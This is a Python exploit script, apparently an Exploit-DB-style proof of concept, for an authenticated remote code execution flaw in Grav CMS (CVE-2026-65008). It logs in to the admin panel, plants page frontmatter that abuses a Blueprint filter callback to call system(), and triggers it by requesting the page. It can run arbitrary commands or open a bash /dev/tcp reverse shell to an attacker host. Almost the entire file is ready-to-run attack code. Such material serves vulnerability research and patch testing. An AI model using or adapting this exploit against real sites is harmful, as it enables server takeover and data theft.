#!/usr/bin/env python3 # Exploit Title: Grav CMS 2.0.7 - Remote Code Execution # Date: 2026-07-27 # Exploit Author: zer0dayf # Vendor Homepage: https://getgrav.org/ # Software Link: https://github.com/getgrav/grav # Version: Grav CMS < 2.0.7 # Tested on: Ubuntu 22.04 / PHP 8.2 # CVE : CVE-2026-65008 """ CVE-2026-65008 - Grav CMS < 2.0.7 Authenticated RCE via Blueprint::dynamicData() + arrayFilterRecursive trampoline Lab / authorized testing only. """ import argparse import re import sys import time from urllib.parse import urljoin import requests requests.packages.urllib3.disable_warnings() BANNER = r""" . * . * GRAVITY FAIL * . * _____ .-' '-. / RCE INSIDE \ | system(\"id\")| \ www-data / '-._______.-' CVE-2026-65008 | Blueprint went brrr """ class GravExploit: def __init__(self, base_url, username, password, verify=False): self.base_url = base_url.rstrip("/") self.username = username self.password = password self.session = requests.Session() self.session.verify = verify self.session.headers.update({ "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36" }) self.nonce = None def login(self): print("[*] Logging in...") login_url = urljoin(self.base_url, "/admin") r = self.session.get(login_url, timeout=15) match = re.search(r'name=["\']login-nonce["\']\s+value=["\']([a-f0-9]+)["\']', r.text) if not match: print("[-] login-nonce not found") return False data = { "data[username]": self.username, "data[password]": self.password, "task": "login", "login-nonce": match.group(1) } r = self.session.post(login_url, data=data, allow_redirects=True, timeout=15) if "login-nonce" in r.text and "data[username]" in r.text: print("[-] Login failed") return False print("[+] Login successful") return True def get_admin_nonce(self): r = self.session.get(urljoin(self.base_url, "/admin"), timeout=15) patterns = [ r"admin_nonce:\s*['\"]([a-f0-9]+)['\"]", r"admin-nonce:([a-f0-9]+)", r'name=["\']admin-nonce["\']\s+value=["\']([a-f0-9]+)["\']', ] for pattern in patterns: match = re.search(pattern, r.text) if match: self.nonce = match.group(1) return True return False def plant(self, command, folder="rcepoc"): print(f"[*] Planting payload → {command[:70]}{'...' if len(command) > 70 else ''}") if not self.get_admin_nonce(): print("[-] Could not get admin-nonce") return False safe_cmd = command.replace("'", "'\\''") frontmatter = f"""forms: x: fields: y: type: text data-opts@: - 'Grav\\Common\\Utils::arrayFilterRecursive' - {{ '{safe_cmd}': 'x' }} - system""" data = { "task": "save", "admin-nonce": self.nonce, "form-nonce": self.nonce, "data[folder]": folder, "data[name]": "form", "data[title]": "RCE", "data[content]": "pwned", "data[frontmatter]": frontmatter } url = urljoin(self.base_url, f"/admin/pages/{folder}") r = self.session.post(url, data=data, timeout=15) if r.status_code not in (200, 302): print(f"[-] Plant failed (HTTP {r.status_code})") return False print("[+] Payload planted") return True def trigger(self, folder="rcepoc", timeout=8): print("[*] Triggering payload...") try: r = requests.get( urljoin(self.base_url, f"/{folder}"), timeout=timeout, verify=False ) return r.text, False # (body, timed_out) except requests.exceptions.ReadTimeout: return None, True # timed out = muhtemel shell except Exception as e: print(f"[-] Trigger error: {e}") return None, False def run_cmd(self, command, folder="rcepoc"): if not self.plant(command, folder): return None time.sleep(0.5) body, timed_out = self.trigger(folder, timeout=12) if timed_out: print("[!] Request timed out (command may still have run)") return body def reverse_shell(self, lhost, lport, folder="rcepoc"): payload = f'bash -c "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"' print(f"[*] Reverse shell target → {lhost}:{lport}") print(f"[!] Make sure listener is running: nc -lvnp {lport}") print(f"[*] Payload: {payload}") if not self.plant(payload, folder): print("[-] Failed to plant reverse shell payload") return False time.sleep(0.6) body, timed_out = self.trigger(folder, timeout=6) if timed_out: print("[+] Request timed out → reverse shell likely connected!") print("[+] Check your nc listener.") return True else: print("[-] Request finished without timeout.") print("[-] Reverse shell probably FAILED (listener empty?).") if body: # Komut çıktısı geldiyse göster (hata mesajı olabilir) snippet = body[:300].replace("\n", " ") print(f"[*] Response snippet: {snippet}") return False def main(): print(BANNER) parser = argparse.ArgumentParser(description="CVE-2026-65008 Grav CMS Authenticated RCE") parser.add_argument("-u", "--url", required=True, help="Target URL") parser.add_argument("-U", "--username", default="admin", help="Username") parser.add_argument("-P", "--password", required=True, help="Password") parser.add_argument("-c", "--command", default="id", help="Command to execute") parser.add_argument("--lhost", help="Reverse shell LHOST") parser.add_argument("--lport", type=int, default=4444, help="Reverse shell LPORT") parser.add_argument("--folder", default="rcepoc", help="Page folder name") parser.add_argument("--no-verify", action="store_true", help="Disable TLS verification") args = parser.parse_args() exploit = GravExploit(args.url, args.username, args.password, verify=not args.no_verify) if not exploit.login(): sys.exit(1) if args.lhost: ok = exploit.reverse_shell(args.lhost, args.lport, folder=args.folder) sys.exit(0 if ok else 1) output = exploit.run_cmd(args.command, folder=args.folder) if output: print("\n" + "=" * 60) for line in output.splitlines()[:20]: if line.strip() and not line.strip().startswith("<"): print(line) print("=" * 60) print("[+] Done") else: print("[-] No usable output") if __name__ == "__main__": main()